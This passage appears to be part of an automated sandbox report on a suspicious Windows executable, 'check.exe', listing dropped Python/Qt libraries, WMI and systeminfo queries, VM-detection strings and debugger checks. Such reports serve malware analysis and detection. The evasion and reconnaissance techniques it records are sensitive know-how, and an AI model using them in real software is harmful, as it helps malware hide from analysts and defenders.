Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\plugins\iconengines\qsvgicon.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI59362\_queue.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\plugins\styles\qwindowsvistastyle.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\plugins\platformthemes\qxdgdesktopportal.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\sip.cp313-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\bin\Qt5Quick.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI77842\charset_normalizer\md.cp313-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI77842\python3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI59362\python3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\bin\libGLESv2.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29362\python3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29362\charset_normalizer\md__mypyc.cp313-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\bin\d3dcompiler_47.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\QtGui.pyd	Jump to dropped file

Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_9-17456

Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe

API coverage: 0.3 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5448

Thread sleep time: -17524406870024063s >= -30000s

Jump to behavior

Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_ComputerSystem
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Manufacturer FROM Win32_ComputerSystem
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Manufacturer FROM Win32_ComputerSystem
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Manufacturer FROM Win32_ComputerSystem

Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 9_2_00007FF61C4C9280 FindFirstFileExW,FindClose,	9_2_00007FF61C4C9280
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 9_2_00007FF61C4C83C0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	9_2_00007FF61C4C83C0
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 9_2_00007FF61C4E1874 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	9_2_00007FF61C4E1874

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\System32\WerFault.exe	File opened: C:\Users\user\AppData\Local\Temp\_MEI77842\	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	File opened: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	File opened: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	File opened: C:\Users\user\	Jump to behavior

Source: check.exe, 00000009.00000003.1558965974.000001B4340E5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: j2aTPs+9xYa9+bG3tD60B8jzljHz7aRP+KNOjSkVWLjVb3/ubCK1sK9IRQq9qEmU
Source: check.exe, 0000000A.00000002.1820912917.000001DB19560000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: fQEMU
Source: check.exe, 0000000A.00000003.1586442426.000001DB197B0000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1821926701.000001DB197AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: check.exe, 0000000A.00000003.1578448364.000001DB1940B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: QEMU)
Source: check.exe, 0000000A.00000002.1821926701.000001DB199FE000.00000004.00000020.00020000.00000000.sdmp, check.exe, 0000000A.00000002.1821926701.000001DB19A89000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Requirements: VM Monitor Mode Extensions: No
Source: check.exe, 0000000A.00000002.1897462147.00007FF816648000.00000008.00000001.01000000.00000023.sdmp	Binary or memory string: .?AVQEmulationPaintEngine@@

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe

Code function: 9_2_00007FF61C4DA614 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

9_2_00007FF61C4DA614

Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe

Code function: 9_2_00007FF61C4E3480 GetProcessHeap,

9_2_00007FF61C4E3480

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 9_2_00007FF61C4DA614 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_00007FF61C4DA614
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 9_2_00007FF61C4CC8A0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	9_2_00007FF61C4CC8A0
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 9_2_00007FF61C4CD12C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_00007FF61C4CD12C
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 9_2_00007FF61C4CD30C SetUnhandledExceptionFilter,	9_2_00007FF61C4CD30C
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 22_2_00007FF8123265D0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	22_2_00007FF8123265D0
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 29_2_00007FF810B92C90 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	29_2_00007FF810B92C90
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 29_2_00007FF810B93248 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	29_2_00007FF810B93248
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 29_2_00007FF810C543F0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	29_2_00007FF810C543F0
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 29_2_00007FF810C549A8 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	29_2_00007FF810C549A8
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 29_2_00007FF810C719E0 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	29_2_00007FF810C719E0
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 29_2_00007FF810C71420 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	29_2_00007FF810C71420
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 29_2_00007FF810C81DF0 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	29_2_00007FF810C81DF0
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 29_2_00007FF810C81830 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	29_2_00007FF810C81830
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 29_2_00007FF810C93DD0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	29_2_00007FF810C93DD0
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 29_2_00007FF810C94390 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	29_2_00007FF810C94390
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 29_2_00007FF810CA212B IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	29_2_00007FF810CA212B

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe "C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Process created: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe "C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic computersystem get manufacturer"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Process created: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe "C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic computersystem get manufacturer	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Process created: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe "C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe"
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic computersystem get manufacturer"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic computersystem get manufacturer
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic computersystem get manufacturer"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic computersystem get manufacturer

Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe

Code function: 9_2_00007FF61C4E9570 cpuid

9_2_00007FF61C4E9570

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\plugins VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\plugins VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\plugins\imageformats VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\plugins\imageformats VolumeInformation	Jump to behavior
